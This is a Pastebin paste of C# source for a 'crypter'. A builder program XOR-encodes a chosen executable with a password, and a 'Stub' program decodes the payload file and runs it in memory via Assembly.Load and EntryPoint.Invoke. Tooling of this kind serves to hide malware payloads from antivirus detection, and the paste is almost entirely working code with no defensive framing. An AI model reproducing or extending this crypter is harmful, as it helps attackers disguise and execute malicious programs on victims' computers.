Advertisement
Guest User

Untitled

a guest
Mar 30th, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.44 KB | None | 0 0
  1. dssdssdsd
  2.  
  3. using System;
  4. using System.Collections.Generic;
  5. using System.Linq;
  6. using System.Text;
  7. using System.Threading.Tasks;
  8.  
  9. using System.IO;
  10.  
  11. namespace Crypter
  12. {
  13. class Program
  14. {
  15. [STAThread]
  16. static void Main(string[] args)
  17. {
  18. //No Arguments -> Exit
  19. if (args.Length < 2)
  20. {
  21. Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
  22. Environment.Exit(0);
  23. }
  24.  
  25. String file = args[0];
  26. String pass = args[1];
  27. String outFile = "Crypted.exe";
  28.  
  29. //If Output Name is specified -> Set it
  30. if (args.Length == 3)
  31. {
  32. outFile = args[2];
  33. }
  34.  
  35. //File doesn't exist -> Exit
  36. if (!File.Exists(file))
  37. {
  38. Console.WriteLine("[!] The selected File doesn't exist!");
  39. Environment.Exit(0);
  40. }
  41.  
  42. //Everything seems fine -> Reading bytes
  43. Console.WriteLine("[*] Reading Data...");
  44. byte[] plainBytes = File.ReadAllBytes(file);
  45.  
  46. //Yep, got bytes -> Encoding
  47. Console.WriteLine("[*] Encoding Data...");
  48. byte[] encodedBytes = encodeBytes(plainBytes, pass);
  49.  
  50. Console.Write("[*] Save to Output File... ");
  51. File.WriteAllBytes(outFile, encodedBytes);
  52. Console.WriteLine("Done!");
  53.  
  54. Console.WriteLine("n[*] File successfully encoded!");
  55. }
  56. private static byte[] encodeBytes(byte[] bytes, String pass)
  57. {
  58. byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  59.  
  60. for (int i = 0; i < bytes.Length; i++)
  61. {
  62. bytes[i] ^= XorBytes[i % XorBytes.Length];
  63. }
  64.  
  65. return bytes;
  66. }
  67. }
  68. }
  69.  
  70. using System;
  71. using System.Collections.Generic;
  72. using System.Linq;
  73. using System.Threading.Tasks;
  74. using System.Windows.Forms;
  75.  
  76. using System.IO;
  77. using System.Text;
  78. using System.Reflection;
  79. using System.Diagnostics;
  80.  
  81. namespace Stub
  82. {
  83. static class Program
  84. {
  85. /// <summary>
  86. /// MAIN
  87. /// </summary>
  88. [STAThread]
  89. static void Main()
  90. {
  91. Application.EnableVisualStyles();
  92. Application.SetCompatibleTextRenderingDefault(false);
  93. //Application.Run(new Form1());
  94.  
  95. //Set Payload File and Password HERE
  96. RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
  97. }
  98.  
  99. private static void RunInternalExe(string exeName, String pass)
  100. {
  101. //Verify the Payload exists
  102. if (!File.Exists(exeName))
  103. return;
  104.  
  105. //Read the raw bytes of the file
  106. byte[] resourcesBuffer = File.ReadAllBytes(exeName);
  107.  
  108. //Decrypt bytes from payload
  109. byte[] decryptedBuffer = null;
  110. decryptedBuffer = decryptBytes(resourcesBuffer, pass);
  111.  
  112. //If .NET executable -> Run
  113. if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
  114. {
  115. //Load the bytes as an assembly
  116. Assembly exeAssembly = Assembly.Load(decryptedBuffer);
  117.  
  118. //Execute the assembly
  119. object[] parameters = new object[1]; //Don't know why but fixes TargetParameterCountException
  120. exeAssembly.EntryPoint.Invoke(null, parameters);
  121. }
  122. }
  123.  
  124. /// <summary>
  125. /// Decrypt the Loaded Assembly Bytes
  126. /// </summary>
  127. /// <param name="payload"></param>
  128. /// <returns>Decrypted Bytes</returns>
  129. private static byte[] decryptBytes(byte[] bytes, String pass)
  130. {
  131. byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  132.  
  133. for (int i = 0; i < bytes.Length; i++)
  134. {
  135. bytes[i] ^= XorBytes[i % XorBytes.Length];
  136. }
  137.  
  138. return bytes;
  139. }
  140. }
  141. }
  142.  
  143. if(System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement